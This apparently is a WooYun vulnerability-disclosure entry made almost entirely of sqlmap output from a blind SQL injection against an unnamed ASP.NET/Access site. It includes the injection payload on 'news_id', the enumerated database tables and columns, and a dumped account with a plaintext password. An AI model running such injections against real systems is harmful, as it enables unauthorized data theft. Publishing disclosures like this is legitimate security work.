WooYun.org

Place: GET
Parameter: news_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: news_id=428 AND 8592=8592
---
[13:09:56] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access

Database: Microsoft_Access_masterdb
[9 tables]
+------------+
| admin_user |
| area       |
| branch     |
| company    |
| exam       |
| guestbook  |
| job        |
| member     |
| news       |
+------------+

[4 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| news_id   | numeric     |
| password  | numeric     |
| user_id   | numeric     |
| user_name | non-numeric |
+-----------+-------------+

+---------+----------+---------+-----------+
| news_id | password | user_id | user_name |
+---------+----------+---------+-----------+
| 428     | 888888   | 2       | hr        |
+---------+----------+---------+-----------+

<code><code>Table: member
[8 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| address   | non-numeric |
| email     | non-numeric |
| gender    | numeric     |
| loginname | non-numeric |
| news_id   | numeric     |
| passwd    | numeric     |
| phone     | numeric     |
| question  | non-numeric |
+-----------+-------------+

[14:04:06] [WARNING] running in a single-thread mode. Please consider usa
ption '--threads' for faster data retrieval
[14:04:06] [INFO] retrieved: 2829
[14:04:12] [INFO] fetching number of distinct values for column 'email'